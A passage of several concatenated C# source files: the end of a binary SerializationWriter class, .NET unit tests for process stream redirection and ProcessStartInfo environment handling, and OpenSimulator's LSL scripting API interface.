</summary> public override void Write(string str) { if (str == null) { Write((byte)ObjType.nullType); } else { Write((byte)ObjType.stringType); base.Write(str); } } /// <summary> Writes a byte array to the buffer. Overrides the base implementation to /// send the length of the array which is needed when it is retrieved </summary> public override void Write(byte[] b) { if (b == null) { Write(-1); } else { int len = b.Length; Write(len); if (len > 0) base.Write(b); } } /// <summary> Writes a char array to the buffer. Overrides the base implementation to /// sends the length of the array which is needed when it is read. </summary> public override void Write(char[] c) { if (c == null) { Write(-1); } else { int len = c.Length; Write(len); if (len > 0) base.Write(c); } } /// <summary> /// Writes DateTime to the buffer. /// </summary> /// <param name="dt"></param> public void Write(DateTime dt) { Write(dt.ToUniversalTime().Ticks); } /// <summary> Writes a generic ICollection (such as an IList(T)) to the buffer.</summary> public void Write<T>(List<T> c) where T : ILegacySerializable { if (c == null) { Write(-1); } else { int count = c.Count; Write(count); for (int i = 0; i < count; i++) c[i].WriteToStream(this); } } /// <summary> Writes a generic IDictionary to the buffer. </summary> public void Write<TKey, TValue>(IDictionary<TKey, TValue> d) { if (d == null) { Write(-1); } else { Write(d.Count); foreach (KeyValuePair<TKey, TValue> kvp in d) { WriteObject(kvp.Key); WriteObject(kvp.Value); } } } /// <summary> Writes an arbitrary object to the buffer. Useful where we have something of type "object" /// and don't know how to treat it. This works out the best method to use to write to the buffer. </summary> public void WriteObject(object obj) { if (obj == null) { Write((byte)ObjType.nullType); } else { switch (obj) { case bool boolObj: Write((byte)ObjType.boolType); Write(boolObj); break; case byte byteObj: Write((byte)ObjType.byteType); Write(byteObj); break; case ushort ushortObj: Write((byte)ObjType.uint16Type); Write(ushortObj); break; case uint uintObj: Write((byte)ObjType.uint32Type); Write(uintObj); break; case ulong ulongObj: Write((byte)ObjType.uint64Type); Write(ulongObj); break; case sbyte sbyteObj: Write((byte)ObjType.sbyteType); Write(sbyteObj); break; case short shortObj: Write((byte)ObjType.int16Type); Write(shortObj); break; case int intObj: Write((byte)ObjType.int32Type); Write(intObj); break; case long longObj: Write((byte)ObjType.int64Type); Write(longObj); break; case char charObj: Write((byte)ObjType.charType); base.Write(charObj); break; case string stringObj: Write((byte)ObjType.stringType); base.Write(stringObj); break; case float floatObj: Write((byte)ObjType.singleType); Write(floatObj); break; case double doubleObj: Write((byte)ObjType.doubleType); Write(doubleObj); break; case decimal decimalObj: Write((byte)ObjType.decimalType); Write(decimalObj); break; case DateTime dateTimeObj: Write((byte)ObjType.dateTimeType); Write(dateTimeObj); break; case byte[] byteArray: Write((byte)ObjType.byteArrayType); base.Write(byteArray); break; case char[] charArray: Write((byte)ObjType.charArrayType); base.Write(charArray); break; default: Write((byte)ObjType.otherType); BinaryFormatter b = new BinaryFormatter { // AssemblyFormat = FormatterAssemblyStyle.Simple, TypeFormat = FormatterTypeStyle.TypesWhenNeeded }; b.Serialize(BaseStream, obj); break; } // switch } // if obj==null } // WriteObject /// <summary> Adds the SerializationWriter buffer to the SerializationInfo at the end of GetObjectData(). </summary> public void AddToInfo(SerializationInfo info) { byte[] b = ((MemoryStream)BaseStream).ToArray(); info.AddValue("X", b, typeof(byte[])); } public void WriteRawBytes(byte[] b) { base.Write(b); } public void WriteByteArray(byte[] b) { if (b == null) { Write(-1); } else { int len = b.Length; Write(len); if (len > 0) base.Write(b); } } public void WriteUtf8(string str) { WriteRawBytes(Encoding.UTF8.GetBytes(str)); } } }
// Copyright (c) Microsoft. All rights reserved. // Licensed under the MIT license. See LICENSE file in the project root for full license information. using System.Text; using System.IO; using Xunit; using System.Threading; namespace System.Diagnostics.ProcessTests { public class ProcessStreamReadTests : ProcessTestBase { [Fact] public void TestSyncErrorStream() { Process p = CreateProcess(ErrorProcessBody); p.StartInfo.RedirectStandardError = true; p.Start(); string expected = TestConsoleApp + " started error stream" + Environment.NewLine + TestConsoleApp + " closed error stream" + Environment.NewLine; Assert.Equal(expected, p.StandardError.ReadToEnd()); Assert.True(p.WaitForExit(WaitInMS)); } [Fact] public void TestAsyncErrorStream() { for (int i = 0; i < 2; ++i) { StringBuilder sb = new StringBuilder(); Process p = CreateProcess(ErrorProcessBody); p.StartInfo.RedirectStandardError = true; p.ErrorDataReceived += (s, e) => { sb.Append(e.Data); if (i == 1) { ((Process)s).CancelErrorRead(); } }; p.Start(); p.BeginErrorReadLine(); Assert.True(p.WaitForExit(WaitInMS)); p.WaitForExit(); // This ensures async event handlers are finished processing. string expected = TestConsoleApp + " started error stream" + (i == 1 ? "" : TestConsoleApp + " closed error stream"); Assert.Equal(expected, sb.ToString()); } } private static int ErrorProcessBody() { Console.Error.WriteLine(TestConsoleApp + " started error stream"); Console.Error.WriteLine(TestConsoleApp + " closed error stream"); return SuccessExitCode; } [Fact] public void TestSyncOutputStream() { Process p = CreateProcess(StreamBody); p.StartInfo.RedirectStandardOutput = true; p.Start(); string s = p.StandardOutput.ReadToEnd(); Assert.True(p.WaitForExit(WaitInMS)); Assert.Equal(TestConsoleApp + " started" + Environment.NewLine + TestConsoleApp + " closed" + Environment.NewLine, s); } [Fact] public void TestAsyncOutputStream() { for (int i = 0; i < 2; ++i) { StringBuilder sb = new StringBuilder(); Process p = CreateProcess(StreamBody); p.StartInfo.RedirectStandardOutput = true; p.OutputDataReceived += (s, e) => { sb.Append(e.Data); if (i == 1) { ((Process)s).CancelOutputRead(); } }; p.Start(); p.BeginOutputReadLine(); Assert.True(p.WaitForExit(WaitInMS)); p.WaitForExit(); // This ensures async event handlers are finished processing. string expected = TestConsoleApp + " started" + (i == 1 ? "" : TestConsoleApp + " closed"); Assert.Equal(expected, sb.ToString()); } } private static int StreamBody() { Console.WriteLine(TestConsoleApp + " started"); Console.WriteLine(TestConsoleApp + " closed"); return SuccessExitCode; } [Fact] public void TestSyncStreams() { const string expected = "This string should come as output"; Process p = CreateProcess(() => { Console.ReadLine(); return SuccessExitCode; }); p.StartInfo.RedirectStandardInput = true; p.StartInfo.RedirectStandardOutput = true; p.OutputDataReceived += (s, e) => { Assert.Equal(expected, e.Data); }; p.Start(); using (StreamWriter writer = p.StandardInput) { writer.WriteLine(expected); } Assert.True(p.WaitForExit(WaitInMS)); } [Fact] public void TestAsyncHalfCharacterAtATime() { var receivedOutput = false; Process p = CreateProcess(() => { var stdout = Console.OpenStandardOutput(); var bytes = new byte[] { 97, 0 }; //Encoding.Unicode.GetBytes("a"); for (int i = 0; i != bytes.Length; ++i) { stdout.WriteByte(bytes[i]); stdout.Flush(); Thread.Sleep(100); } return SuccessExitCode; }); p.StartInfo.RedirectStandardOutput = true; p.StartInfo.StandardOutputEncoding = Encoding.Unicode; p.OutputDataReceived += (s, e) => { if (!receivedOutput) { Assert.Equal(e.Data, "a"); } receivedOutput = true; }; p.Start(); p.BeginOutputReadLine(); Assert.True(p.WaitForExit(WaitInMS)); p.WaitForExit(); // This ensures async event handlers are finished processing. Assert.True(receivedOutput); } [Fact] public void TestManyOutputLines() { const int ExpectedLineCount = 144; int nonWhitespaceLinesReceived = 0; int totalLinesReceived = 0; Process p = CreateProcess(() => { for (int i = 0; i < ExpectedLineCount; i++) { Console.WriteLine("This is line #" + i + "."); } return SuccessExitCode; }); p.StartInfo.RedirectStandardOutput = true; p.OutputDataReceived += (s, e) => { if (!string.IsNullOrWhiteSpace(e.Data)) { nonWhitespaceLinesReceived++; } totalLinesReceived++; }; p.Start(); p.BeginOutputReadLine(); Assert.True(p.WaitForExit(WaitInMS)); p.WaitForExit(); // This ensures async event handlers are finished processing. Assert.Equal(ExpectedLineCount, nonWhitespaceLinesReceived); Assert.Equal(ExpectedLineCount + 1, totalLinesReceived); } [Fact] public void TestStreamNegativeTests() { { Process p = new Process(); Assert.Throws<InvalidOperationException>(() => p.StandardOutput); Assert.Throws<InvalidOperationException>(() => p.StandardError); Assert.Throws<InvalidOperationException>(() => p.BeginOutputReadLine()); Assert.Throws<InvalidOperationException>(() => p.BeginErrorReadLine()); Assert.Throws<InvalidOperationException>(() => p.CancelOutputRead()); Assert.Throws<InvalidOperationException>(() => p.CancelErrorRead()); } { Process p = CreateProcess(StreamBody); p.StartInfo.RedirectStandardOutput = true; p.StartInfo.RedirectStandardError = true; p.OutputDataReceived += (s, e) => {}; p.ErrorDataReceived += (s, e) => {}; p.Start(); p.BeginOutputReadLine(); p.BeginErrorReadLine(); Assert.Throws<InvalidOperationException>(() => p.StandardOutput); Assert.Throws<InvalidOperationException>(() => p.StandardError); Assert.True(p.WaitForExit(WaitInMS)); } { Process p = CreateProcess(StreamBody); p.StartInfo.RedirectStandardOutput = true; p.StartInfo.RedirectStandardError = true; p.OutputDataReceived += (s, e) => {}; p.ErrorDataReceived += (s, e) => {}; p.Start(); StreamReader output = p.StandardOutput; StreamReader error = p.StandardError; Assert.Throws<InvalidOperationException>(() => p.BeginOutputReadLine()); Assert.Throws<InvalidOperationException>(() => p.BeginErrorReadLine()); Assert.True(p.WaitForExit(WaitInMS)); } } } }
/* * Copyright (c) Contributors, http://opensimulator.org/ * See CONTRIBUTORS.TXT for a full list of copyright holders. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * Neither the name of the OpenSimulator Project nor the * names of its contributors may be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE DEVELOPERS ``AS IS'' AND ANY * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE CONTRIBUTORS BE LIABLE FOR ANY * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ using System; using LSL_Float = OpenSim.Region.ScriptEngine.Shared.LSL_Types.LSLFloat; using LSL_Integer = OpenSim.Region.ScriptEngine.Shared.LSL_Types.LSLInteger; using LSL_Key = OpenSim.Region.ScriptEngine.Shared.LSL_Types.LSLString; using LSL_List = OpenSim.Region.ScriptEngine.Shared.LSL_Types.list; using LSL_Rotation = OpenSim.Region.ScriptEngine.Shared.LSL_Types.Quaternion; using LSL_String = OpenSim.Region.ScriptEngine.Shared.LSL_Types.LSLString; using LSL_Vector = OpenSim.Region.ScriptEngine.Shared.LSL_Types.Vector3; namespace OpenSim.Region.ScriptEngine.Shared.Api.Interfaces { public interface ILSL_Api { void state(string newState); LSL_Integer llAbs(int i); LSL_Float llAcos(double val); void llAddToLandBanList(string avatar, double hours); void llAddToLandPassList(string avatar, double hours); void llAdjustSoundVolume(double volume); void llAllowInventoryDrop(int add); LSL_Float llAngleBetween(LSL_Rotation a, LSL_Rotation b); void llApplyImpulse(LSL_Vector force, int local); void llApplyRotationalImpulse(LSL_Vector force, int local); LSL_Float llAsin(double val); LSL_Float llAtan2(double x, double y); void llAttachToAvatar(int attachment); LSL_Key llAvatarOnSitTarget(); LSL_Key llAvatarOnLinkSitTarget(int linknum); LSL_Rotation llAxes2Rot(LSL_Vector fwd, LSL_Vector left, LSL_Vector up); LSL_Rotation llAxisAngle2Rot(LSL_Vector axis, double angle); LSL_Integer llBase64ToInteger(string str); LSL_String llBase64ToString(string str); void llBreakAllLinks(); void llBreakLink(int linknum); LSL_List llCastRay(LSL_Vector start, LSL_Vector end, LSL_List options); LSL_Integer llCeil(double f); void llClearCameraParams(); LSL_Integer llClearLinkMedia(LSL_Integer link, LSL_Integer face); LSL_Integer llClearPrimMedia(LSL_Integer face); void llCloseRemoteDataChannel(string channel); LSL_Float llCloud(LSL_Vector offset); void llCollisionFilter(string name, string id, int accept); void llCollisionSound(string impact_sound, double impact_volume); void llCollisionSprite(string impact_sprite); LSL_Float llCos(double f); void llCreateLink(string target, int parent); LSL_List llCSV2List(string src); LSL_List llDeleteSubList(LSL_List src, int start, int end); LSL_String llDeleteSubString(string src, int start, int end); void llDetachFromAvatar(); LSL_Vector llDetectedGrab(int number); LSL_Integer llDetectedGroup(int number); LSL_Key llDetectedKey(int number); LSL_Integer llDetectedLinkNumber(int number); LSL_String llDetectedName(int number); LSL_Key llDetectedOwner(int number); LSL_Vector llDetectedPos(int number); LSL_Rotation llDetectedRot(int number); LSL_Integer llDetectedType(int number); LSL_Vector llDetectedTouchBinormal(int index); LSL_Integer llDetectedTouchFace(int index); LSL_Vector llDetectedTouchNormal(int index); LSL_Vector llDetectedTouchPos(int index); LSL_Vector llDetectedTouchST(int index); LSL_Vector llDetectedTouchUV(int index); LSL_Vector llDetectedVel(int number); void llDialog(string avatar, string message, LSL_List buttons, int chat_channel); void llDie(); LSL_String llDumpList2String(LSL_List src, string seperator); LSL_Integer llEdgeOfWorld(LSL_Vector pos, LSL_Vector dir); void llEjectFromLand(string pest); void llEmail(string address, string subject, string message); LSL_String llEscapeURL(string url); LSL_Rotation llEuler2Rot(LSL_Vector v); LSL_Float llFabs(double f); LSL_Integer llFloor(double f); void llForceMouselook(int mouselook); LSL_Float llFrand(double mag); LSL_Key llGenerateKey(); LSL_Vector llGetAccel(); LSL_Integer llGetAgentInfo(string id); LSL_String llGetAgentLanguage(string id); LSL_List llGetAgentList(LSL_Integer scope, LSL_List options); LSL_Vector llGetAgentSize(string id); LSL_Float llGetAlpha(int face); LSL_Float llGetAndResetTime(); LSL_String llGetAnimation(string id); LSL_List llGetAnimationList(string id); LSL_Integer llGetAttached(); LSL_List llGetAttachedList(string id); LSL_List llGetBoundingBox(string obj); LSL_Vector llGetCameraPos(); LSL_Rotation llGetCameraRot(); LSL_Vector llGetCenterOfMass(); LSL_Vector llGetColor(int face); LSL_String llGetCreator(); LSL_String llGetDate(); LSL_Float llGetEnergy(); LSL_String llGetEnv(LSL_String name); LSL_Vector llGetForce(); LSL_Integer llGetFreeMemory(); LSL_Integer llGetUsedMemory(); LSL_Integer llGetFreeURLs(); LSL_Vector llGetGeometricCenter(); LSL_Float llGetGMTclock(); LSL_String llGetHTTPHeader(LSL_Key request_id, string header); LSL_Key llGetInventoryCreator(string item); LSL_Key llGetInventoryKey(string name); LSL_String llGetInventoryName(int type, int number); LSL_Integer llGetInventoryNumber(int type); LSL_Integer llGetInventoryPermMask(string item, int mask); LSL_Integer llGetInventoryType(string name); LSL_Key llGetKey(); LSL_Key llGetLandOwnerAt(LSL_Vector pos); LSL_Key llGetLinkKey(int linknum); LSL_String llGetLinkName(int linknum); LSL_Integer llGetLinkNumber(); LSL_Integer llGetLinkNumberOfSides(int link); LSL_List llGetLinkMedia(LSL_Integer link, LSL_Integer face, LSL_List rules); LSL_List llGetLinkPrimitiveParams(int linknum, LSL_List rules); LSL_Integer llGetListEntryType(LSL_List src, int index); LSL_Integer llGetListLength(LSL_List src); LSL_Vector llGetLocalPos(); LSL_Rotation llGetLocalRot(); LSL_Float llGetMass(); LSL_Float llGetMassMKS(); LSL_Integer llGetMemoryLimit(); void llGetNextEmail(string address, string subject); LSL_String llGetNotecardLine(string name, int line); LSL_Key llGetNumberOfNotecardLines(string name); LSL_Integer llGetNumberOfPrims(); LSL_Integer llGetNumberOfSides(); LSL_String llGetObjectDesc(); LSL_List llGetObjectDetails(string id, LSL_List args); LSL_Float llGetObjectMass(string id); LSL_String llGetObjectName(); LSL_Integer llGetObjectPermMask(int mask); LSL_Integer llGetObjectPrimCount(string object_id); LSL_Vector llGetOmega(); LSL_Key llGetOwner(); LSL_Key llGetOwnerKey(string id); LSL_List llGetParcelDetails(LSL_Vector pos, LSL_List param); LSL_Integer llGetParcelFlags(LSL_Vector pos); LSL_Integer llGetParcelMaxPrims(LSL_Vector pos, int sim_wide); LSL_String llGetParcelMusicURL(); LSL_Integer llGetParcelPrimCount(LSL_Vector pos, int category, int sim_wide); LSL_List llGetParcelPrimOwners(LSL_Vector pos); LSL_Integer llGetPermissions(); LSL_Key llGetPermissionsKey(); LSL_List llGetPrimMediaParams(int face, LSL_List rules); LSL_Vector llGetPos(); LSL_List llGetPrimitiveParams(LSL_List rules); LSL_Integer llGetRegionAgentCount(); LSL_Vector llGetRegionCorner(); LSL_Integer llGetRegionFlags(); LSL_Float llGetRegionFPS(); LSL_String llGetRegionName(); LSL_Float llGetRegionTimeDilation(); LSL_Vector llGetRootPosition(); LSL_Rotation llGetRootRotation(); LSL_Rotation llGetRot(); LSL_Vector llGetScale(); LSL_String llGetScriptName(); LSL_Integer llGetScriptState(string name); LSL_String llGetSimulatorHostname(); LSL_Integer llGetSPMaxMemory(); LSL_Integer llGetStartParameter(); LSL_Integer llGetStatus(int status); LSL_String llGetSubString(string src, int start, int end); LSL_Vector llGetSunDirection(); LSL_String llGetTexture(int face); LSL_Vector llGetTextureOffset(int face); LSL_Float llGetTextureRot(int side); LSL_Vector llGetTextureScale(int side); LSL_Float llGetTime(); LSL_Float llGetTimeOfDay(); LSL_String llGetTimestamp(); LSL_Vector llGetTorque(); LSL_Integer llGetUnixTime(); LSL_Vector llGetVel(); LSL_Float llGetWallclock(); void llGiveInventory(string destination, string inventory); void llGiveInventoryList(string destination, string category, LSL_List inventory); LSL_Integer llGiveMoney(string destination, int amount); LSL_String llTransferLindenDollars(string destination, int amount); void llGodLikeRezObject(string inventory, LSL_Vector pos); LSL_Float llGround(LSL_Vector offset); LSL_Vector llGroundContour(LSL_Vector offset); LSL_Vector llGroundNormal(LSL_Vector offset); void llGroundRepel(double height, int water, double tau); LSL_Vector llGroundSlope(LSL_Vector offset); LSL_String llHTTPRequest(string url, LSL_List parameters, string body); void llHTTPResponse(LSL_Key id, int status, string body); LSL_String llInsertString(string dst, int position, string src); void llInstantMessage(string user, string message); LSL_String llIntegerToBase64(int number); LSL_String llKey2Name(string id); LSL_String llGetUsername(string id); LSL_String llRequestUsername(string id); LSL_String llGetDisplayName(string id); LSL_String llRequestDisplayName(string id); void llLinkParticleSystem(int linknum, LSL_List rules); void llLinkSitTarget(LSL_Integer link, LSL_Vector offset, LSL_Rotation rot); LSL_String llList2CSV(LSL_List src); LSL_Float llList2Float(LSL_List src, int index); LSL_Integer llList2Integer(LSL_List src, int index); LSL_Key llList2Key(LSL_List src, int index); LSL_List llList2List(LSL_List src, int start, int end); LSL_List llList2ListStrided(LSL_List src, int start, int end, int stride); LSL_Rotation llList2Rot(LSL_List src, int index); LSL_String llList2String(LSL_List src, int index); LSL_Vector llList2Vector(LSL_List src, int index); LSL_Integer llListen(int channelID, string name, string ID, string msg); void llListenControl(int number, int active); void llListenRemove(int number); LSL_Integer llListFindList(LSL_List src, LSL_List test); LSL_List llListInsertList(LSL_List dest, LSL_List src, int start); LSL_List llListRandomize(LSL_List src, int stride); LSL_List llListReplaceList(LSL_List dest, LSL_List src, int start, int end); LSL_List llListSort(LSL_List src, int stride, int ascending); LSL_Float llListStatistics(int operation, LSL_List src); void llLoadURL(string avatar_id, string message, string url); LSL_Float llLog(double val); LSL_Float llLog10(double val); void llLookAt(LSL_Vector target, double strength, double damping); void llLoopSound(string sound, double volume); void llLoopSoundMaster(string sound, double volume); void llLoopSoundSlave(string sound, double volume); LSL_Integer llManageEstateAccess(int action, string avatar); void llMakeExplosion(int particles, double scale, double vel, double lifetime, double arc, string texture, LSL_Vector offset); void llMakeFire(int particles, double scale, double vel, double lifetime, double arc, string texture, LSL_Vector offset); void llMakeFountain(int particles, double scale, double vel, double lifetime, double arc, int bounce, string texture, LSL_Vector offset, double bounce_offset); void llMakeSmoke(int particles, double scale, double vel, double lifetime, double arc, string texture, LSL_Vector offset); void llMapDestination(string simname, LSL_Vector pos, LSL_Vector look_at); LSL_String llMD5String(string src, int nonce); LSL_String llSHA1String(string src); void llMessageLinked(int linknum, int num, string str, string id); void llMinEventDelay(double delay); void llModifyLand(int action, int brush); LSL_Integer llModPow(int a, int b, int c); void llMoveToTarget(LSL_Vector target, double tau); void llOffsetTexture(double u, double v, int face); void llOpenRemoteDataChannel(); LSL_Integer llOverMyLand(string id); void llOwnerSay(string msg); void llParcelMediaCommandList(LSL_List commandList); LSL_List llParcelMediaQuery(LSL_List aList); LSL_List llParseString2List(string str, LSL_List separators, LSL_List spacers); LSL_List llParseStringKeepNulls(string src, LSL_List seperators, LSL_List spacers); void llParticleSystem(LSL_List rules); void llPassCollisions(int pass); void llPassTouches(int pass); void llPlaySound(string sound, double volume); void llPlaySoundSlave(string sound, double volume); void llPointAt(LSL_Vector pos); LSL_Float llPow(double fbase, double fexponent); void llPreloadSound(string sound); void llPushObject(string target, LSL_Vector impulse, LSL_Vector ang_impulse, int local); void llRefreshPrimURL(); void llRegionSay(int channelID, string text); void llRegionSayTo(string target, int channelID, string text); void llReleaseCamera(string avatar); void llReleaseControls(); void llReleaseURL(string url); void llRemoteDataReply(string channel, string message_id, string sdata, int idata); void llRemoteDataSetRegion(); void llRemoteLoadScript(string target, string name, int running, int start_param); void llRemoteLoadScriptPin(string target, string name, int pin, int running, int start_param); void llRemoveFromLandBanList(string avatar); void llRemoveFromLandPassList(string avatar); void llRemoveInventory(string item); void llRemoveVehicleFlags(int flags); LSL_Key llRequestAgentData(string id, int data); LSL_Key llRequestInventoryData(string name); void llRequestPermissions(string agent, int perm); LSL_String llRequestSecureURL(); LSL_Key llRequestSimulatorData(string simulator, int data); LSL_Key llRequestURL(); void llResetLandBanList(); void llResetLandPassList(); void llResetOtherScript(string name); void llResetScript(); void llResetTime(); void llRezAtRoot(string inventory, LSL_Vector position, LSL_Vector velocity, LSL_Rotation rot, int param); void llRezObject(string inventory, LSL_Vector pos, LSL_Vector vel, LSL_Rotation rot, int param); LSL_Float llRot2Angle(LSL_Rotation rot); LSL_Vector llRot2Axis(LSL_Rotation rot); LSL_Vector llRot2Euler(LSL_Rotation r); LSL_Vector llRot2Fwd(LSL_Rotation r); LSL_Vector llRot2Left(LSL_Rotation r); LSL_Vector llRot2Up(LSL_Rotation r); void llRotateTexture(double rotation, int face); LSL_Rotation llRotBetween(LSL_Vector start, LSL_Vector end); void llRotLookAt(LSL_Rotation target, double strength, double damping); LSL_Integer llRotTarget(LSL_Rotation rot, double error); void llRotTargetRemove(int number); LSL_Integer llRound(double f); LSL_Integer llSameGroup(string agent); void llSay(int channelID, string text); LSL_Integer llScaleByFactor(double scaling_factor); LSL_Float llGetMaxScaleFactor(); LSL_Float llGetMinScaleFactor(); void llScaleTexture(double u, double v, int face); LSL_Integer llScriptDanger(LSL_Vector pos); void llScriptProfiler(LSL_Integer flag); LSL_Key llSendRemoteData(string channel, string dest, int idata, string sdata); void llSensor(string name, string id, int type, double range, double arc); void llSensorRemove(); void llSensorRepeat(string name, string id, int type, double range, double arc, double rate); void llSetAlpha(double alpha, int face); void llSetBuoyancy(double buoyancy); void llSetCameraAtOffset(LSL_Vector offset); void llSetCameraEyeOffset(LSL_Vector offset); void llSetLinkCamera(LSL_Integer link, LSL_Vector eye, LSL_Vector at); void llSetCameraParams(LSL_List rules); void llSetClickAction(int action); void llSetColor(LSL_Vector color, int face); void llSetContentType(LSL_Key id, LSL_Integer type); void llSetDamage(double damage); void llSetForce(LSL_Vector force, int local); void llSetForceAndTorque(LSL_Vector force, LSL_Vector torque, int local); void llSetVelocity(LSL_Vector vel, int local); void llSetAngularVelocity(LSL_Vector angularVelocity, int local); void llSetHoverHeight(double height, int water, double tau); void llSetInventoryPermMask(string item, int mask, int value); void llSetLinkAlpha(int linknumber, double alpha, int face); void llSetLinkColor(int linknumber, LSL_Vector color, int face); LSL_Integer llSetLinkMedia(LSL_Integer link, LSL_Integer face, LSL_List rules); void llSetLinkPrimitiveParams(int linknumber, LSL_List rules); void llSetLinkTexture(int linknumber, string texture, int face); void llSetLinkTextureAnim(int linknum, int mode, int face, int sizex, int sizey, double start, double length, double rate); void llSetLocalRot(LSL_Rotation rot); LSL_Integer llSetMemoryLimit(LSL_Integer limit); void llSetObjectDesc(string desc); void llSetObjectName(string name); void llSetObjectPermMask(int mask, int value); void llSetParcelMusicURL(string url); void llSetPayPrice(int price, LSL_List quick_pay_buttons); void llSetPos(LSL_Vector pos); LSL_Integer llSetRegionPos(LSL_Vector pos); LSL_Integer llSetPrimMediaParams(LSL_Integer face, LSL_List rules); void llSetPrimitiveParams(LSL_List rules); void llSetLinkPrimitiveParamsFast(int linknum, LSL_List rules); void llSetPrimURL(string url); void llSetRemoteScriptAccessPin(int pin); void llSetRot(LSL_Rotation rot); void llSetScale(LSL_Vector scale); void llSetScriptState(string name, int run); void llSetSitText(string text); void llSetSoundQueueing(int queue); void llSetSoundRadius(double radius); void llSetStatus(int status, int value); void llSetText(string text, LSL_Vector color, double alpha); void llSetTexture(string texture, int face); void llSetTextureAnim(int mode, int face, int sizex, int sizey, double start, double length, double rate); void llSetTimerEvent(double sec); void llSetTorque(LSL_Vector torque, int local); void llSetTouchText(string text); void llSetVehicleFlags(int flags); void llSetVehicleFloatParam(int param, LSL_Float value); void llSetVehicleRotationParam(int param, LSL_Rotation rot); void llSetVehicleType(int type); void llSetVehicleVectorParam(int param, LSL_Vector vec); void llShout(int channelID, string text); LSL_Float llSin(double f); void llSitTarget(LSL_Vector offset, LSL_Rotation rot); void llSleep(double sec); void llSound(string sound, double volume, int queue, int loop); void llSoundPreload(string sound); LSL_Float llSqrt(double f); void llStartAnimation(string anim); void llStopAnimation(string anim); void llStopHover(); void llStopLookAt(); void llStopMoveToTarget(); void llStopPointAt(); void llStopSound(); LSL_Integer llStringLength(string str); LSL_String llStringToBase64(string str); LSL_String llStringTrim(string src, int type); LSL_Integer llSubStringIndex(string source, string pattern); void llTakeCamera(string avatar); void llTakeControls(int controls, int accept, int pass_on); LSL_Float llTan(double f); LSL_Integer llTarget(LSL_Vector position, double range); void llTargetOmega(LSL_Vector axis, double spinrate, double gain); void llTargetRemove(int number); void llTeleportAgentHome(string agent); void llTeleportAgent(string agent, string simname, LSL_Vector pos, LSL_Vector lookAt); void llTeleportAgentGlobalCoords(string agent, LSL_Vector global, LSL_Vector pos, LSL_Vector lookAt); void llTextBox(string avatar, string message, int chat_channel); LSL_String llToLower(string source); LSL_String llToUpper(string source); void llTriggerSound(string sound, double volume); void llTriggerSoundLimited(string sound, double volume, LSL_Vector top_north_east, LSL_Vector bottom_south_west); LSL_String llUnescapeURL(string url); void llUnSit(string id); LSL_Float llVecDist(LSL_Vector a, LSL_Vector b); LSL_Float llVecMag(LSL_Vector v); LSL_Vector llVecNorm(LSL_Vector v); void llVolumeDetect(int detect); LSL_Float llWater(LSL_Vector offset); void llWhisper(int channelID, string text); LSL_Vector llWind(LSL_Vector offset); LSL_String llXorBase64Strings(string str1, string str2); LSL_String llXorBase64StringsCorrect(string str1, string str2); LSL_Integer llGetLinkNumberOfSides(LSL_Integer link); void llSetPhysicsMaterial(int material_bits, LSL_Float material_gravity_modifier, LSL_Float material_restitution, LSL_Float material_friction, LSL_Float material_density); void SetPrimitiveParamsEx(LSL_Key prim, LSL_List rules, string originFunc); void llSetKeyframedMotion(LSL_List frames, LSL_List options); LSL_List GetPrimitiveParamsEx(LSL_Key prim, LSL_List rules); LSL_List llGetPhysicsMaterial(); void llSetAnimationOverride(LSL_String animState, LSL_String anim); void llResetAnimationOverride(LSL_String anim_state); LSL_String llGetAnimationOverride(LSL_String anim_state); LSL_String llJsonGetValue(LSL_String json, LSL_List specifiers); LSL_List llJson2List(LSL_String json); LSL_String llList2Json(LSL_String type, LSL_List values); LSL_String llJsonSetValue(LSL_String json, LSL_List specifiers, LSL_String value); LSL_String llJsonValueType(LSL_String json, LSL_List specifiers); } }
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. using Microsoft.Win32; using Microsoft.Win32.SafeHandles; using System.Collections; using System.Collections.Generic; using System.IO; using System.Linq; using System.Runtime.InteropServices; using System.Security.Principal; using Xunit; using System.Text; namespace System.Diagnostics.Tests { public partial class ProcessStartInfoTests : ProcessTestBase { [Fact] public void TestEnvironmentProperty() { Assert.NotEqual(0, new Process().StartInfo.Environment.Count); ProcessStartInfo psi = new ProcessStartInfo(); // Creating a detached ProcessStartInfo will pre-populate the environment // with current environmental variables. IDictionary<string, string> environment = psi.Environment; Assert.NotEqual(environment.Count, 0); int CountItems = environment.Count; environment.Add("NewKey", "NewValue"); environment.Add("NewKey2", "NewValue2"); Assert.Equal(CountItems + 2, environment.Count); environment.Remove("NewKey"); Assert.Equal(CountItems + 1, environment.Count); //Exception not thrown with invalid key Assert.Throws<ArgumentException>(() => { environment.Add("NewKey2", "NewValue2"); }); //Clear environment.Clear(); Assert.Equal(0, environment.Count); //ContainsKey environment.Add("NewKey", "NewValue"); environment.Add("NewKey2", "NewValue2"); Assert.True(environment.ContainsKey("NewKey")); Assert.Equal(RuntimeInformation.IsOSPlatform(OSPlatform.Windows), environment.ContainsKey("newkey")); Assert.False(environment.ContainsKey("NewKey99")); //Iterating string result = null; int index = 0; foreach (string e1 in environment.Values) { index++; result += e1; } Assert.Equal(2, index); Assert.Equal("NewValueNewValue2", result); result = null; index = 0; foreach (string e1 in environment.Keys) { index++; result += e1; } Assert.Equal("NewKeyNewKey2", result); Assert.Equal(2, index); result = null; index = 0; foreach (KeyValuePair<string, string> e1 in environment) { index++; result += e1.Key; } 